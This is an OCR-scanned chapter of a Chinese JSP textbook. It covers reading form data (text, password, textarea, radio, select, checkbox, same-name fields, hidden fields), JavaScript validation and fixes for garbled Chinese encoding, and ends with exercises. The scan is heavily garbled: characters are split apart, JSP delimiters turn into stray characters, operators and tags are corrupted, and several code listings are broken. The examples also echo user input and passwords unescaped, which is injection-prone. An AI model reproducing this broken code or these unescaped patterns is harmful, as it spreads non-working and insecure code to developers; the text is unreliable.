> 
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如 果 表 单 中 没有 name=account 的 表单 元 素 ,str 为 null; 如 果 在 表单 元 素 account 中 没 
有 输入 任何 内 容 就 提交 ,str 为 ""。 

问 : <input type="submit”value=" 登 录 "> 表 示 提 交 按 钮 ,可 以 用 普通 按钮 吗 ? 

答 : 不 可 以 ,如 果 将 该 按钮 改 为 “< input type="button" value=" 登 录 ">?”, 虽 然 显 示 效 
果 一 样 ,但 是 单 击 没有 提交 功能 。 当 然 , 可 以 用 JavaScript 进行 提交 。 


5.2 单一 表单 元 素数 据 的 获取 
单一 表单 元 素 是 指 表单 元 素 的 值 送 给 服务 器 端 时 仅仅 是 一 个 变量 ,这 种 情况 下 的 表单 
元 素 主要 有 文本 框 .密码 框 .多 行文 本 框 . 单 选 按钮 和 下 拉 莱 单 等 。 


5.2.1 获取 文本 框 中 的 数据 


比如 ,在 学 生 管理 系统 中 用 户 可 以 模糊 查询 学 生 , 输 入 学 生 姓 名 的 部 分 资料 ,就 可 以 显 
示 学 生 的 信息 ,此 时 表单 中 可 以 包含 一 个 文本 框 ,实现 代码 如 textForm. jsp 所 示 。 


textForm. jsp 


<% @ page language = "java" contentTYpe = "text/html; charset = gb2312" % > 
< html > 
<body> 
< form action = "textForm result. jsp"> 
请 您 输入 学 生 的 模糊 资料 : < br > 
< input name = "stuname" type = "text"> 
< input type= "submit" value = "查询 "> 
</form> 
</body> 
</html > 


其 运行 效果 如 图 5-3 所 示 。 请 您 输入 学 生 的 模糊 资料 ， 
“< form action="textForm_result. jsp">” 说 明 将 页 面 提交 
到 textForm_result. jsp ,textForm_result. jsp 的 代码 如 下 。 图 5-3 模糊 查询 界面 


textForm_result. jsp 


<% @ page language = "java" contentType = "text/html; charset = gb2312" %> 
<html> 
<body> 
< 多 
String stuname = request. getParameter("stuname" ) ; 
out.println(" 输 入 的 查询 关键 字 为 :”+ stuname); 
先 > 
</body> 
</html > 


i 输入 一 个 关键 字 , 例 如 “Rose”, 单 击 “ 查 询 ” 按 钮 ,能 够 
输入 的 查询 关键 字 为 :Rose 运行 textForm_result. jsp ,效果 如 图 5-4 所 示 。 


图 5-4 ”模糊 查询 结果 界面 在 实际 项 目 中 应 该 根据 这 个 关键 字 查询 数据 库 , 此 处 
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省 略 。 
特别 提醒 : 
(1) 如 果 输 入 的 是 “罗斯 ”提交 后 页 面 显示 如 图 5-5 所 示 。 
这 表示 中 文 无 法 显示 ,对 于 该 问题 的 解决 ,在 本 章 最 后 会 作 讲 解 。 
(2) 输入 “Rose” 之 后 提交 ,浏览 器 的 地 址 栏 上 出 现 的 效果 如 图 5-6 所 示 。 


输入 的 查询 关键 字 用 :9399 回 (localhost:8080/Prj05/textForm_resultjsp?stuname=Rose ~ 
图 5-5 结果 界面 图 5-6 浏览 器 显示 界面 
这 说 明 提 交 的 内 容 能 够 在 浏览 器 的 地 址 栏 上 看 到 。 很 显然 这 不 安全 ,怎样 解决 ? 方 


法 是 在 表单 中 将 method 属性 设置 为 post, 也 就 是 将 textForm. jsp 中 的 表单 改 为 如 下 
格式 。 


textForm. jsp 


< form action = "textForm result. jsp" method= "post"> 
请 您 输入 学 生 的 模糊 资料 : < br > 
< input name = "stuname" type = "text"> 
< input type = "submit" value = "查询 "> 

</form> 


注意 : 在 默认 情况 下 是 get 方式 ,get 方式 和 post 方式 是 提交 请 求 的 两 种 常见 方式 。 
5.2.2 获取 密码 框 中 的 数据 


在 很 多 界面 中 都 用 到 了 密码 。 比 如 用 户 注 册 时 需要 输入 自己 的 密码 ,然后 提交 ,最 后 被 
系统 添加 到 数据 库 中 。 下 面 的 passwordForm. jsp 实现 这 个 功能 ,代码 如 下 。 


passwordForm. jsp 


<% @ page language = "java" contentType = "text/htm1; charset = gb2312" %> 
< html > 
< body> 
请 您 输入 自己 的 信息 进行 注册 
< form action = "passwordForm result. jsp" method = "post"> 
请 您 输入 账号 : < input name = "account" type = "text"><br> 
请 您 输入 密码 : < input name = "password" type = "password"><br> 
< input type = "submit" value = "注册 "> 
</form> 
</body> 
</htm] > 


其 运行 效果 如 图 5-7 所 示 。 

在 实际 项 目 中 还 应 该 输入 一 个 确认 密码 ,此 处 省 略 。 

“< form action="passwordForm_result. jsp”method="post">” 说 明 将 页 面 提交 到 
passwordForm_result. jsp, passwordForm_result. jsp 的 代码 如 下 。 
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请 您 输入 自己 的 信息 进行 注册 
请 您 输入 账号 
请 您 输入 密码 ， 
EE 
图 5-7 注册 界面 


passwordForm_result. jsp 


<% @ page language = "java" contentType = "text/html; charset = gb2312" %> 
<html> 
<body> 
< 第 
String password = request. getParameter("password" ); 
out. println(" 密 码 为 :" + password) ; 
先 > 
</body> 
</html > 


输入 一 个 密码 ,例如 “fdtj;df”, 然 后 单 击 “ 查 询 ” 按 钮 ,能 够 运行 密码 为 :fdtj: df 
passwordForm_result. jsp ,效果 如 图 5-8 所 示 。 
在 实际 项 目 中 这 个 密码 可 能 被 送 到 数据 库 , 不 会 显示 出 来 ,这 
一 个 简单 的 例子 。 


5.2.3 获取 多 行文 本 框 中 的 数据 


在 注册 界面 中 添加 一 个 多 行文 本 框 ,让 用 户 输 入 自己 的 信息 。textareaForm. jsp 用 来 
实现 这 个 功能 ,代码 如 下 。 


图 5-8 结果 界面 


textareaForm. jsp 


<% @ page language = "java" contentType = "text/html; charset = gb2312" %> 
<html> 
<body> 
请 您 输入 自己 的 信息 进行 注册 
< form action = "textareaForm result. jsp" method = "post"> 
请 您 输入 账号 : < input name = "account" type = "text">< br> 
请 您 输入 密码 : < input name = "password" type = "password"><br> 
请 您 输入 个 人 信息 : < br > 
< textarea name = "info" rows = "5" cols= "30"></textarea> 
< input type = "submit" value = "注册 "> 
</form> 
</body> 
</html > 


其 运行 效果 如 图 5-9 所 示 。 
其 中 ,“I am a student. ”是 在 运行 完毕 之 后 手工 输入 的 。 
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请 您 输入 自己 的 信息 进行 注册 
请 您 输入 账号 ， 
请 您 输入 密码 
请 你 输入 个 人 入 各。 
I an a student. 全 
= 
5-9 包含 个 人 信息 的 注册 界面 
“< form action =" textareaForm_result. jsp”method =" post">” 说 明 将 页 面 提交 到 
textareaForm_result. jsp ,textareaForm_result. jsp 的 代码 如 下 。 


textareaForm_result. jsp 


<% @ page language = "java" contentTYpe = "text/html; charset = gb2312" %> 
<html> 
<body> 
<% 
String info = request. getParameter("info"); 
out. println(" 个 人 信息 为 :" + info); 
%> 
</body > 
</html > 


单 击 “ 注 册 ” 按 钮 能 够 运行 textareaForm_result. jsp, 效 果 如 图 5-10 所 示 。 
个 人 信息 为 :I am a student. 


图 5-10 ”结果 界面 


5.2.4 获取 单 选 按钮 中 的 数据 


在 注册 界面 中 设置 两 个 单 选 按钮 ,让 用 户 能 够 选择 自己 的 性 别 。radioForm. jsp 用 来 实 
现 这 个 功能 ,代码 如 下 。 


radioForm. jsp 


<% @ page language = "java" contentType = "text/html; charset = gb2312" % > 
< html > 
<body> 
请 您 输入 自己 的 信息 进行 注册 
< form action = "radioForm result. jsp”method = "post"> 
请 您 输入 账号 : < input name = "account" type = "text">< br> 
请 您 输入 密码 : < input name = "password" type = "password"><br> 
请 您 选择 性 别 : 
< input name = "sex" type = "radio" value = "boy" checked > 男 
< input name = "sex" type= "radio" value = "girl"> 女 <br> 
< input type= "submit" value = "注册 "> 
</form> 
</body> 
</html > 
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其 运行 效果 如 图 5-11 所 示 。 
请 您 输入 自己 的 信息 进行 注册 
请 您 输入 账号 , 


请 您 输入 密码 ; 
请 您 选择 性 别 。 @ 男 目 女 


5-11 包含 性 别 选择 的 注册 界面 
“< form action =" radioForm _ result. jsp” method =" post" >” 说 明 将 页 面 提交 到 
radioForm_result. jsp,radioForm_result. jsp 的 代码 如 下 。 


radioForm_result. jsp 


<% @ page language = "java" contentTYpe = "text/htm1; charset = gb2312" %> 


< html > 
< body> 


<% 
String sex = request. getParameter("sex"); 


out., println(" 性 别 为 :" + sex); 
%> 
</body > 
</html > 


选择 “ 女 ”, 单 击 “ 注 册 ” 按 钮 ,能 够 运行 radioForm_result. jsp, 效 果 如 图 5-12 所 示 。 
性 别 为 :girl 
5-12 ”结果 界面 


5.2.5 获取 下 拉 菜 单 中 的 数据 
在 注册 界面 中 设置 一 个 下 拉 菜 单 ,让 用 户 能 够 选择 自己 的 家 乡 ,代码 如 selectForm. jsp 


所 示 。 


selectForm. jsp 


<% @ page language = "java" contentType = "text/html; charset = gb2312" %> 


<html> 
<body> 
请 您 输入 自己 的 信息 进行 注册 


< form action = "selectForm result.jsp" method=" post "> 
请 您 输入 账号 : < input name = "account" type = "text"><br> 
请 您 输入 密码 : < input name = "password" type = "password"><br> 
请 您 选择 家 乡 : 
< select name = "home"> 
< option value = "beijing"> 北 京 </option> 
< option value = "shanghai"> 上 海 </option > 
< option value = "guangdong"> 广 东 </option> 
</select> 
< input type= "submit" value = "注册 "> 
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</form> 
</body> 
</html > 


其 运行 效果 如 图 5-13 所 示 。 
请 您 输入 自己 的 信息 进行 注册 
请 您 输入 账号 ， 
请 您 输入 密码 : 
请 您 选择 家 多 ， 北京 ~ 
图 5-13 包含 家 乡 选择 的 注册 界面 
“< form action =" selectForm _ result. jsp”method =" post">” 说 明 将 页 面 提交 到 
selectForm_result. jsp, selectForm_result. jsp 的 代码 如 下 。 


selectForm_result. jsp 


<% @ page language = "java" contentType = "text/html; charset = gb2312" %> 
<html> 


String home = request. getParameter("home" ); 
out. println(" 家 乡 为 :" + home); 
%> 
</body > 
</html > 


选择 “上 海 ”, 单 击 * 注 册 ” 按 钮 ,能 够 运行 selectForm_result. jsp ,效果 如 图 5-14 所 示 。 
家 乡 为 :shanghai 
图 5-14 结果 界面 


5.3 ”捆绑 表单 元 素数 据 的 获取 


捆绑 表单 元 素 是 指 多 个 同名 表单 元 素 的 值 送 给 服务 器 端 时 是 一 个 捆绑 的 数组 。 这 种 情 
况 下 的 表单 元 素 主要 有 复 选 框 、 多 选 列表 框 、 其 他 同名 表单 元 素 等 。 
此 时 可 以 用 如 下 方法 得 到 捆绑 的 数组 。 


<% 
// 获 得 表单 中 name = pName 的 表单 元 素 中 输入 的 值 , 赋 值 给 str 数组 
String[ ] str = request. getParameterValues("pName"); 

%> 


5.3.1 获取 复 选 框 中 的 数据 


在 很 多 系统 中 用 户 可 以 进行 注册 ,例如 在 注册 过 程 中 有 4 个 爱好 供用 户 选 择 ,如 图 5-15 
所 示 。 
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请 您 选择 您 的 爱好 ， 回 唱歌 回 跳舞 回 打球 回 打 游戏 
图 5-15 爱好 选择 示例 
用 户 可 以 选择 ,也 可 以 不 选择 ; 可 以 选择 全 部 ,也 可 以 选择 一 部 分 。 此 时 可 以 为 这 几 个 
复 选 框 取 同 样 的 名 字 ,作为 捆绑 数组 传 给 服务 器 端 。 下 面 的 checkForm. jsp 实现 了 这 个 功 
能 ,代码 如 下 。 


checkForm. jsp 


<% @ page language = "java" contentType = "text/html; charset = gb2312" %> 
<html> 
<body> 
请 您 输入 自己 的 信息 进行 注册 
< form action = "checkForm result.jsp" method = "post"> 
请 您 选择 您 的 爱好 : 
< input name = "fav" type = "checkbox" value = "sing"> 唱 歌 
< input name = "fav" type = "checkbox" value = "dance"> 跳 舞 
< input name = "fav" type = "checkbox" value = "ball"> 打 球 
< input name = "fav" type = "checkbox" value = "game"> 打 游戏 < br > 
< input type = "submit" value = "注册 "> 
</form> 
</body> 
</html > 


其 运行 效果 如 图 5-16 所 示 。 
请 您 输入 自己 的 信息 进行 注册 
请 您 选择 您 的 爱好 ， 国 唱 歌 贺 跳 舞 回 打 球 回 打 游戏 


图 5-16 包含 爱好 选择 的 注册 界面 


其 中 ,“ 唱 歌 “ 跳 舞 ”" 和 “ 打 游 戏 ” 是 在 运行 之 后 手工 选择 的 。 
“< form action="checkForm_result. jsp">” 说 明 将 页 面 提交 到 checkForm_result. jsp， 
checkForm_result. jsp 的 代码 如 下 。 


checkForm_result. jsp 


<% @ page language = "java" contentType = "text/html; charset = gb2312" %> 
<html> 


String[ ] fav = request. getParameterValues("fav"); 
out. println(" 爱 好 为 :"); 
for(int i=0;i<fav.length;i++){ 
out. println(fav[i]); 

} 

竺 > 

</body> 

</html > 
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在 图 5-16 所 示 的 界面 中 单 击 “ 注 册 ” 按 钮 能 够 运行 checkForm_result. jsp, 效 果 如 
图 5-17 所 示 。 


爱好 为 : sing dance game 
5-17 结果 界面 


5.3.2 获取 多 选 列表 框 中 的 数据 
5. 3.1 节 中 的 需求 功能 也 可 以 用 多 选 列表 框 代 替 ,代码 如 listForm. jsp 所 示 。 


listForm. jsp 


<%@ page language = "java" contentTYpe = "text/html; charset = gb2312" %> 
< html > 
<body> 
请 您 输入 自己 的 信息 进行 注册 
< form action = "listForm result. jsp" method= "post"> 
请 您 选择 您 的 爱好 : < br > 
< select name = "fav" multiple> 
< option value = "sing"> 唱 歌 </option> 
< option value = "dance"> 跳 舞 </option> 
< option value = "ball"> 打 球 </option> 
< option value = "game"> 打 游戏 </option> 


</select> 
< input type = "submit” value = "注册 "> 
</form> 
</body > 
</html > 
其 运行 效果 如 图 5-18 所 示 。 请 您 输入 自己 的 信息 进行 注册 


其 中 ,“ 唱 歌 “ 跳 舞 ”" 和 “ 打 游 戏 ” 是 在 运行 之 
后 手工 选择 的 (在 选择 的 同时 按 下 Ctrl 键 可 以 多 
选 )。 

“< form action="]istForm_result. jsp">” 说 明 将 
页 面 提 交 到 listForm_result. jsp, listForm_result. jsp 图 5-18 包含 多 种 爱好 选择 的 注册 界面 
的 代码 如 下 。 


请 您 选择 您 的 爱好 ， 


listForm_result. jsp 


<% @ page language = "java" contentType = "text/html; charset = gb2312" %> 
<html> 
<body> 
<% 
String[ ] fav = request. getParameterValues("fav"); 
out. println(" 爱 好 为 :"); 
for(int i=0;i<fav.length;i++){ 
out. println(fav[i]); 
} 
多 > 
</body> 
</htm] > 
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在 图 5-18 所 示 的 界面 中 单 击 “ 注 册 ” 按 钮 ,能 够 运行 listForm_result. jsp, 效 果 如 图 5-19 
所 示 。 
爱好 为 : sing dance game 


图 5-19 结果 界面 


5.3.3 获取 其 他 同名 表单 元 素 中 的 数据 


在 很 多 情况 下 ,其 他 表单 元 素 也 可 以 设置 为 同名 。 例 如 在 注册 界面 上 输入 用 户 的 电话 
号 码 ,最 多 可 以 输入 4 个 , 则 可 以 用 4 个 同名 的 文本 框 进行 输入 ,代码 如 multiNameForm. jsp 
所 示 。 


multiNameForm. jsp 


<%@ page language = "java" contentType = "text/html; charset = gb2312" > 
< html > 
< body> 
请 您 输入 自己 的 信息 进行 注册 
< form action = "multiNameForm result. jsp" method= "post"> 
请 您 输入 您 的 电话 号 码 ( 最 多 4 个 ): <br> 
<%for(int i=1;i<=4;i++){ %> 
号 码 <%=i %>: < input name = "phone" type = "text">< br> 
<%} %> 
< input type = "submit" value = "注册 "> 
</form> 
</body > 
</html > 


注意 : 此 处 的 4 个 文本 框 名 字 都 叫 作 phone。 
其 运行 效果 如 图 5-20 所 示 。 
请 您 输入 自己 的 信息 进行 注册 


请 您 输入 您 的 电话 号 码 (最 多 4 个 )， 
号 码 1， 
号 码 2， 
号 码 3， 
号 码 4， 


图 5-20 获取 多 个 同名 表单 的 注册 界面 
其 中 的 号 码 是 需要 手工 输入 的 。 


“< form action="multiNameForm_result. jsp"> ”说明 将 页 面 提交 到 multiNameForm_result. jsp， 
multiNameForm_result. jsp 的 代码 如 下 。 


multiNameForm_result. jsp 


<% @ page language = "java" contentType = "text/htm1; charset = gb2312" %> 
<html> 

<body> 

< 和 
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String[ ] phone = request. getParameterValues("phone" ) ; 
out. println(" 号 码 为 :"); 
for(int i= 0;i< phone. length;i++){ 
out. println(phone[ i]); 

} 

先 > 

</body> 

</html > 


在 图 5-20 所 示 的 界面 中 输入 号 码 , 单 击 “ 注 册 ” 按 钮 ,能 够 运行 multiNameForm_result. jsp， 
效果 如 图 5-21 所 示 。 


号 码 为 : 78954788 75415625 48956425 84587569 
5-21 结果 界面 


此 时 ,第 1 个 号 码 放 在 phone[0] 内 ,第 2 个 号 码 放 在 phone[1] 内 ,以 此 类 推 。 那 么 到 底 
哪个 号 码 放 在 哪个 位 置 呢 ? 答案 是 以 文本 框 在 源 代 码 中 出 现 的 顺序 从 数组 的 头 上 开始 向 后 
放置 。 


5.4 隐藏 表单 


前 面 的 章节 已 经 讲 过 HTTP 是 无 状态 的 协议 ,在 页 面 之 间 传 递 值 时 必须 通过 服务 器 。 
通过 URL 传 值 方法 可 以 实现 传 值 。 

这 里 仍 以 4.6 节 中 的 例子 说 明 。 在 页 面 1 中 定义 了 一 个 数值 变量 ,并 显示 其 平方 ,要 求 
在 页 面 2 中 显示 其 立方 。 很 明显 ,页 面 2 必须 知道 页 面 1 中 定义 的 那个 变量 。 此 时 可 以 用 
URL 传 值 ,但 是 通过 URL 传 值 方法 传递 的 数据 可 能 被 看 到 。 为 了 避免 这 个 问题 ,用 户 可 
以 用 表单 将 页 面 1 中 的 变量 传 给 页 面 2。 因 此 ,4.6 节 中 的 例子 可 以 通过 formP1. jsp 来 实 
现 , 代 码 如 下 。 


formP1. jsp 


<% @ page language = "java" import = "java. util. * " pageEncoding = "gb2312" 多 > 
<S% 
// 定 义 一 个 变量 
String str = "12"; 
int number = Integer. parseInt (str); 
%> 
该 数字 的 平方 为 : <%= number * number %><hr> 
< form action= "formPp2. jsp"> 
< input type = "text" name = "number" value = "<%= number %>"> 
< input type = "submit" value = "到 达 p2"> 
</form> 


该 数字 的 平方 为 ，144 其 运行 效果 如 图 5-22 所 示 。 
可 以 看 到 ,这 里 实际 上 是 将 number 的 值 放 入 表单 元 
EE 素 传 到 下 一 个 页 面 。 但 是 , number 的 值 在 界面 上 会 被 看 


图 5.22 formpl.jsp 运行 效果 。 到 * 为 了 既 传 值 又 不 被 看 到 ,可 以 使 用 隐藏 表单 。 
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在 网 页 制作 中 input 有 一 个 “type="hidden"” 的 选项 , 它 是 隐藏 在 网 页 中 的 一 个 表单 元 
素 , 并 不 在 网 页 中 显示 出 来 ,于 是 该 例 的 代码 可 以 修改 为 如 formP1_hidden. jsp 所 示 的 


代码 。 
formP1_hidden. jsp 


<%@ page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 


<% 
// 定 义 一 个 变量 
String str= "12"; 
int number = Integer. parseInt (str); 
%> 
该 数字 的 平方 为 : <%= number * number %><hr> 


< form action= "formP2. jsp"> 
< input type = "hidden" name = "number" value = "<%= number %>"> 


< input type = "submit" value = "到 达 p2"> 


</form> 


其 运行 效果 如 图 5-23 所 示 。 


到 过 p2 
图 5-23 formP1_hidden. jsp 运行 效果 


这 样 传 的 值 就 被 隐藏 起 来 了 。 下 面 是 formP2. jsp 的 代码 。 


formP2. jsp 


<% @ page language = "java" import = "java.util. * ”pageEncoding = "gb2312" %> 


<S% 


// 获 得 number 
String str = request. getParameter("number"); 


int number = Integer. parseInt (str); 


%> 
该 数字 的 立方 为 : <%= number x number * number %><hr> 


单 击 formP1_hidden. jsp 中 的 按钮 ,到 达 formP2. jsp ,效果 如 图 5-24 所 示 。 
但 是 ,此 时 浏览 器 的 地 址 栏 上 的 地 址 仍 带 number 值 ,如 图 5-25 所 示 。 


国 htpynocalhost8080/Pjo5/formp2jsprnumber=12 


图 5-25 地 址 仍 带 number 值 


该 数字 的 立方 为 : 1728 


图 5-24 运行 效果 


此 时 数据 还 是 能 够 被 看 到 。 
解决 该 问题 的 方法 是 将 form 的 action 属性 设置 为 post( 默 认为 get) ,于 是 代码 变 为 


formP1_post. jsp 所 示 的 代码 。 
formP1_post. jsp 


< form action = "formP2. jsp" action = "post"> 
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< input type = "hidden" name = "number" value = "<%= number $%>"> 
< input type = "submit" value = "到 达 p2"> 
</form> 


再 单 击 按钮 ,在 formP2. jsp 中 显示 结果 ,但 是 浏览 器 的 地 址 栏 上 的 URL 如 图 5-26 所 示 。 


国 http://localhost8080/prj05/formp2jsp -| 


图 5-26 地址 栏 上 的 URL 


这 说 明 可 以 顺利 地 实现 值 的 传递 ,并 且 无 法 看 到 传递 的 信息 。 

但 是 该 方法 有 如 下 问题 ， 

(1) 和 URL 传 值 方法 类 似 , 该 方法 传输 的 数据 只 能 是 字符 串 ,对 数据 类 型 有 一 定 的 
限制 。 

(2) 传输 数据 的 值 虽然 在 浏览 器 的 地 址 栏 内 不 被 看 到 ,但 是 在 客户 端 源 代码 里 面 也 会 
被 看 到 。 例 如 ,在 formP1. jsp 例子 中 打开 其 源 代码 ,如 图 5-27 所 示 。 


该 数字 的 平方 为 : 144<HR> 
<form action="formp2.jsp" method="get"> 
<input type="hidden" name="number" value="12"> 
<inpur type="submit" value=" 到 达 p2"> 
</form> 


5-27 ”客户 端 源 代码 


在 “< input type="hidden" name="number"” value="12">” 中 要 传递 的 number 值 被 显 

示 出 来 了 ,因此 从 保密 的 角度 讲 这 也 是 不 安全 的 ,特别 是 对 秘密 性 要 求 很 严格 的 数据 (例如 
密码 ) ,不 推荐 用 表单 方法 来 传 值 。 

同样 ,表单 传 值 方法 也 并 不 是 一 无 是 处 ,由 于 其 简 


请 您 输入 张 海 的 语文 成 绩 (可 修改 ): 单 性 和 平台 支持 的 多 样 性 ,很 多 程序 用 表单 传 值 比较 
输入 成 绩 5 [区 凤 方便。 下 面 研究 如 图 5-28 所 示 的 界面 。 
图 5-28 运行 在 该 表单 中 将 成 绩 输 入 之 后 ,系统 如 何 知道 该 成 
| 运行 界面 


绩 是 张 海 的 语文 成 绩 呢 ? 换 句 话说 ,系统 如 何 知道 要 
修改 表 中 的 哪 一 行 呢 ? 如 下 程序 可 以 将 张 海 的 学 号 (例如 0015) 和 语文 课程 的 编号 (例如 
YW) 放 和 人 隐藏 表 单元 素 , 代 码 如 studentForm. jsp 所 示 。 


studentForm. jsp 


请 您 输入 张 海 的 语文 成 绩 (可 修改 ) : 
< form action = "目标 页 面 路 径 " method = "post"> 
输入 成 绩 : < input type = "text" name= "score" > 
< input type = "hidden" name = "stuno" value= "0015" > 
< input type = "hidden" name = "courseno" value= "YH" > 
< input type = "submit”value = "修改 "> 
</form> 
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这 样 ,目标 页 面 就 可 以 在 得 知 成 绩 的 同时 还 得 知 该 成 绩 所 对 应 学 生 的 学 号 和 课程 编号 


5.5 其 他 问题 


5.5.1 用 JavaScript 进行 提交 


有 了 时候 可 能 要 对 表单 中 的 输入 进行 一 些 验证 ,例如 在 登录 表单 中 需要 输入 的 账号 、 密 码 
不 能 为 空 , 因 此 在 单 击 “ 提 交 ” 按 钮 时 不 能 马上 提交 ,应 该 调用 JavaScript 进行 验证 ,然后 进 


行 提交 ,所 以 “提交 ”按钮 的 类 型 不 能 被 设置 为 submit, 而 应 该 设置 为 button, 代码 如 
jsSubmit. jsp 所 示 。 


jsSubmit. jsp 


<% @ page language = "java" contentType = "text/html; charset = gb2312" %> 
<html> 
<body> 
欢迎 登录 学 生 管 理 系 统 
< script type = "text/javascript"> 
function validate( ){ 
if(loginForm.account. value == ""){ 
alert(" 账 号 不 能 为 空 !"); 
return; 
} 
if(loginForm. password. value == ""){ 
alert(" 密 码 不 能 为 空 !"); 
return; 
上 
loginForm. submit( ); 
} 


</script> 


< form name = "loginForm" action= 


= "target. jsp " method = "post"> 
请 您 输入 账号 : < input name = "account" type = "text">< br> 
请 您 输入 密码 : < input name = "password" type = "password"><br> 
< input type = "button" value = "登录 " onClick = "validate()"> 
</form> 
</body> 
</html > 


运行 ,输入 密码 ,账号 为 空 , 然 后 单 击 “ 登 录 ” 按 钮 ,效果 如 图 5-29 所 示 。 


欢迎 登录 学 生 管理 系统 
请 您 输入 账号 ” 

请 您 输入 密码 : 

Ea 


图 5-29 账号 为 空 界面 
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如 果 将 账号 和 密码 都 输入 ,系统 会 跳 到 target. jsp。 此 处 省 略 target. jsp 的 代码 。 


5.5.2 ”中文 乱码 问题 


如 果 用 户 使 用 的 是 Tomcat 服务 器 ,在 提交 过 程 中 经 常会 出 现 中 文 乱码 问题 ,这 在 前 面 
的 章节 中 曾经 提 到 过 。 

这 里 从 两 个 方面 讲解 中 文 显 示 问 题 。 

1. 中 文 无 法 显示 

在 有 些 JSP 中 ,中文 根 本 无 法 显示 ,通常 的 原因 是 没有 把 文件 头 上 的 字符 集 设置 为 中 
文字 符 集 。 用 户 一 定 要 保证 在 文件 头 上 写 明 如 下 内 容 。 


<% @ page language = "java" contentType = "text/html; charset = gb2312" %> 


或 者 : 


<% @ page language = "java" pageEncoding = "gb2312" %> 


2. 在 提交 过 程 中 显示 乱码 

在 本 章 开始 时 ,提交 “罗斯 "出现 了 乱码 ,这 是 因为 将 “罗斯 "提交 给 服务 器 时 服务 器 将 其 
认 成 ISO-8859-1 编码 ,而 网 页 上 显示 的 是 gb2312 编码 ,两 者 不 能 兼容 。 通 常 有 3 种 方法 解 
决 这 个 问题 。 

(1) 将 其 转 成 gb2312 格式 ,方法 如 下 。 


<S% 
String stuname = request. getParameter("stuname" ); 
stuname = new String( stuname. getBytes("IS0— 8859 — 1"), "gb2312"); 


但 是 此 种 方法 必须 对 每 一 个 字符 串 进行 转 码 ,很 麻烦 。 
(2) 直接 修改 request 的 编码 。 用 户 可 以 将 request 的 编码 修改 为 支持 中 文 的 编码 ,这 
样 整个 页 面 中 的 请 求 都 可 以 自动 转 为 中 文 ,方法 如 下 。 


<% 
request. setCharacterEncoding( "gb2312" ); 


String stuname = request. getParameter("stuname" ); 
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为 


用 户 一 定 要 注意 ,该 方法 要 在 取出 值 之 前 设置 Tequest 的 编码 ,并 且 表 单 的 提交 方式 应 
该 是 post。 但 是 ,此 种 方法 必须 在 每 个 页 面 中 进行 request 的 设置 ,也 很 麻烦 。 

(3) 利用 过 滤器 。 利 用 过 滤器 可 以 对 整个 Web 应 用 进行 统一 的 编码 过 滤 ,比较 方便 。 
该 内 容 将 在 后 面 的 章节 中 讲解 。 


5.6 本 章 小 结 


本 章 讲 解 了 JSP 编程 中 的 表单 开发 ,首先 对 表单 的 基本 结构 和 基本 属性 进行 学 习 , 然 
后 学 习 各 种 表单 元 素 与 服务 器 的 交互 ,最 后 对 隐藏 表 单 的 作用 进行 了 介绍 。 


5.7 课 后 习题 


一 、 填空 题 


.表单 元 素 放 在 标签 之 间 。 
. 表单 元 素 提交 给 服务 器 端的 哪个 页 面 可 以 用 < form > 中 的 属性 决定 。 


3. 在 表单 中 提交 请 求 的 两 种 常见 方式 是 和 ,默认 情况 下 是 
方式 。 


NI a 


. 捆绑 表单 元 素数 据 的 获取 方法 为 
. 将 type 属性 设置 为 可 以 隐藏 表单 元 素 。 


直接 修改 request 的 编码 方式 来 解决 中 文 乱码 问题 的 代码 是 a 


. HTTP 是 无 状态 的 协议 ,在 页 面 之 间 传 递 值 时 必须 通过 
. 在 用 JavaScript 对 表单 的 输入 进行 验证 时 ,需要 将 “提交 ”按钮 的 类 型 设置 


二 、 选 择 


下 


2. 


下 列 关于 表单 的 说 法 不 正确 的 是 ( )s 

A. 表单 是 可 以 由 用 户 输入 并 提交 给 客户 端的 一 个 图 形 界面 
B. 在 表单 中 一 般 有 一 个 按钮 负责 提交 

C. 单 击 “提交 ?按钮 ,表单 元 素 中 的 内 容 会 提交 给 服务 器 端 

D. 在 表单 中 可 以 输入 一 些 内 容 , 这 些 输入 功能 由 表单 元 素 提 供 
有 下 面 两 段 代码 : 


pagel. jsp 


< form action= "page2. jsp"> 


</form> 


请 您 输入 账号 : < input name = "account" type = "text">< br> 
请 您 输入 密码 : < input name = "password" type = "password"><br> 
< input type = "submit" value = "登录 "> 
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page2. jsp 


<% 
// 获 得 表单 中 name = account 的 表单 元 素 中 输入 的 值 ,赋值 给 str 
String strl = request. getParameter("account"); 
String str2 = request. getParameter("zhanghu" ) ; 

和 > 


若 不 输入 数据 ,直接 单 击 “ 登 录 ” 按 钮 , 则 strl 和 str2 的 值 分 别 是 ( s 
A. null ,null il” ,A D. "" .null 
3. 要 想 在 浏览 器 的 地 址 栏 上 的 URL 中 隐藏 传输 的 参数 ,需要 将 < form > 标签 的 
method 属性 值 设 置 为 ( 
A. hidden B. post C. get D. submit 
4. 下 列 说 法 中 错误 的 是 (。”)。 
A. 除了 复 选 框 、 多 选 列表 框 等 ,其 他 一 些 表 单元 素 也 可 以 设置 为 同名 
B. 获取 同名 表单 元 素 中 数据 的 方法 为 request. getParameterValues(arg) 
. 以 文本 框 在 源 代码 中 出 现 的 顺序 从 数组 的 第 0 位 开始 向 后 放置 同名 表单 元 素 的 
数据 
D. 在 提交 表单 数据 时 只 能 用 post 方法 
5. 下 列表 单元 素 中 不 是 单一 表单 元 素 的 是 ( Ws 
A. 复 选 框 B. 文本 框 C. 密码 框 D. 单 选 按钮 
6. 在 表单 提交 的 过 程 中 ,不 能 解决 中 文 乱码 问题 的 方案 为 ( Ds 
A. 将 获取 到 的 数据 转换 成 gb2312 的 格式 
B. 在 获取 数据 之 前 先 修改 request 的 编码 方式 
C. 把 文件 头 上 的 字符 集 设置 为 中 文字 符 集 
D. 利用 过 滤器 对 整个 Web 应 用 进行 统一 的 编码 过 滤 
7. 下 列 关于 用 表单 传 值 的 说 法 正确 的 是 (  )。 
A. 表单 传 值 的 数据 可 以 是 任何 类 型 
B. 表单 传 值 非常 安全 ,即使 是 在 客户 端的 源 代码 里 也 看 不 到 传输 的 值 
C. 将 表单 元 素 的 type 属性 设置 为 "hidden" , 且 将 提交 方式 设置 为 post 方法 可 完全 
隐藏 传输 的 数据 
D. 虽然 表单 传 值 的 方法 不 是 绝对 安全 的 ,但 由 于 其 简单 性 和 平台 支持 的 多 样 性 ,很 
多 程序 还 是 用 表单 传 值 
三 、 上 机 习题 
1. 制作 一 个 登录 表单 ,输入 账号 和 密码 ,如果 账号 .密码 相符 , 则 显示 “登录 成 功 ”, 和 否则 
显示 “登录 失败 ”。 
